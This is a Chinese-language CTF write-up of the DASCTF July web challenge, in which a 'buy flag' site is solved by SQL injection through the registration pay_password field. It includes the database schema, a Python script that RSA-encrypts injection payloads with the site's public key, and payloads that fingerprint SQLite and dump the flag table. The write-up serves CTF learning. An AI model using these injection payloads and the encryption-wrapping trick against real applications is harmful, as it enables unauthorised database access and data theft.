• DASCTF 7月赛


    赛题分析

    题目上来是买flag的,一开始我真的以为买flag给flag,联想到了逻辑漏洞,但是测试后发现线程十分安全(一旦多了就自断请求失败!),直接又通过url联想到了flask的SSTI,但是测试了后username参数过滤很严格,emmm陷入了沉思

    直到Hint放出来才知道是SQL注入,az!

    CREATE TABLE "users" (
      "id" INTEGER NOT NULL,
      "username" TEXT UNIQUE ,
      "login_password" text,
      "money" INTEGER,
      "pay_password" TEXT,
      "flag_num" INTEGER,
      PRIMARY KEY ("id")
    );
    
    
    CREATE TABLE "flaaaaaaaaag" (
      "flllllllag" TEXT
    );
    

    接下来就是艰难的注入史,从登陆框的usernamepassword开始日,再到购买flag时的pay_password,一直没结果,看了一下请求包,发现passwordpay_password都是加密的,并且最开始的一层是MD5加密,直接麻了。傻子都知道MD5没法逆推得明文的,数据库应该是直接存MD5值的。然后无果了。。。就去读书了

    结束了之后,听师傅们说好像是从注册功能的pay_password打的,观察了一下这个值是通过一层MD5加密、一层RSA加密以及一层BASE64完成的,并且右键查看源码可以获得RSA的公钥

    image-20210802001024185

    既然MD5注入不了,那就从MD5和RSA中间注入了,写了下面这个脚本用来从MD5到RSA加密再到BASE64的

    #-- coding:UTF-8 --
    
    from Crypto.PublicKey import RSA as rsa
    from Crypto.Cipher import PKCS1_v1_5
    import base64
    
    public_key = '''-----BEGIN PUBLIC KEY-----
    MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDK9H5CoNfCA0TR5e5w20Q9qmTW
    3T1uWmLHmNu7id9VBsngYXbaNfcK01JK2NNLLQ74vbRTpnAFg05csCkUWnkloKKu
    AZZEDxKaiZ6M4Vmy1BYae7lutS5uECYouZt+TveABrdM4pjPxBwoKpp+IJFeYsVX
    UGzrDiFb40I47X6oRQIDAQAB
    -----END PUBLIC KEY-----'''
    
    def rsa_long_encrypt(pub_key_str, msg, length=100):
        """
        单次加密串的长度最大为 (key_size/8)-11
        1024bit的证书用100, 2048bit的证书用 200
        """
        pubobj = rsa.importKey(pub_key_str)
        pubobj = PKCS1_v1_5.new(pubobj)
        res = []
        for i in range(0, len(msg), length):
            res.append(pubobj.encrypt(msg[i:i+length]))
        return "".join(res)
    
    if __name__ == "__main__":
        msg = "1263304a220b23ff58ff5639e34a306b',(select hex((select flllllllag from flaaaaaaaaag))))--+"
        enres = rsa_long_encrypt(public_key, msg, 65537)
        enbase64 = base64.b64encode(enres)
        print enbase64
    

    这里的msg参数一开始1263304a220b23ff58ff5639e34a306b,接着改成了1263304a220b23ff58ff5639e34a306b')--+还是不行,在看Hint的时候发现,pay_password后面还有一个字段flag_num,于是改msg1263304a220b23ff58ff5639e34a306b',1)--+,哦吼!成功了

    image-20210802000954482

    image-20210802000842867

    锁定了注入点之后就好办了,本来是要构造1263304a220b23ff58ff5639e34a306b',if(1=1,1,0))--+这种bool盲注形式的(回显点在登录后的首页,如上图所示),但是报错了。找了一圈是Sqlite数据库,这里判断数据库的方式是返回数据库版本信息的不同:如Mysql(version())、Sqlserver(@@VERSION)、Sqlite(sqlite_version())。

    通过Payload:1263304a220b23ff58ff5639e34a306b',sqlite_version())--+,确定数据库的版本

    image-20210802001928709

    然后通过Hint知道了flag的表和列,可以直接获得flag,Payload为:1263304a220b23ff58ff5639e34a306b',(select hex((select flllllllag from flaaaaaaaaag))))--+

    image-20210802002357938

    这里本来是想用Bool盲注的,但是Sqlite的Bool盲注好难用,没搞明白,于是找了一种类似二次注入的方式。感觉题目本身不难,主要是小细节挺多的。

    个人瞎猜

    出现Hacker代表了SQL语句出错

    注册

    这里通过insert语句注入的,username这个参数因为在前面有进行select语句查询,所以不适合注入,但是password参数应该是可以注入的(不过测试的时候是失败的,哎不知道原因),pay_password参数可以注入

    登录

    这里应该是通过username参数去数据库找到password的md5值,然后与传进来的进行对比,select语句虽然格式不固定,但是感觉可能也能做的

    购买flag

    这个地方应该是通过Cookie与数据库进行交互了,通过select语句拿到pay_password对比,然后用update语句修改数值,不过这里应该会对flag_num会化成整数,不宜注入

  • 相关阅读:
    hdoj 3376,2686 Matrix Again 【最小费用最大流】
    Trustie站点代码托管使用指南
    POJ 2442 Sequence(堆的使用练习)
    猛犸机器学习开发实践
    关于《金字塔原理》的主要内容
    实战案例:如何快速打造1000万+播放量的抖音网红?
    【限时特惠】网易云易盾验证码全线95折!智能无感知、滑动拼图、点选验证-7天免费体验!
    当GDPR来敲门,中国互联网企业该如何应对?
    H5活动产品设计指南基础版
    Box(视图组件)如何在多个页面不同视觉规范下的复用
  • 原文地址:https://www.cnblogs.com/erR0Ratao/p/15088223.html
Copyright © 2020-2023  润新知